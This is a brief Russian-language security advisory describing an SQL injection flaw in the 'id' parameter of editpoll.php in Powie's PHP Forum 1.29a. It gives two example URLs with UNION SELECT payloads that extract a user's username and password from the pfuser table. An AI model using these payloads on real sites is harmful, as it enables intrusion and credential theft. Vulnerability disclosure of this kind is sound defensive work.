Программа: Powie's PHP Forum 1.29a
Уязвимость позволяет злоумышленнику выполнить произвольный SQL код в базе данных приложения. Уязвимость существует из-за ошибки в обработке входных данных в параметре «id» сценарием editpoll.php. Атакующий может выполнить произвольные SQL команды в базе данных приложения.
Примеры:
FOR USER : editpoll.php?id=-1 UNION SELECT null,null,username,null FROM pfuser where id=1
FOR PASS : editpoll.php?id=-1 UNION SELECT null,null,pwd,null FROM pfuser where id=1
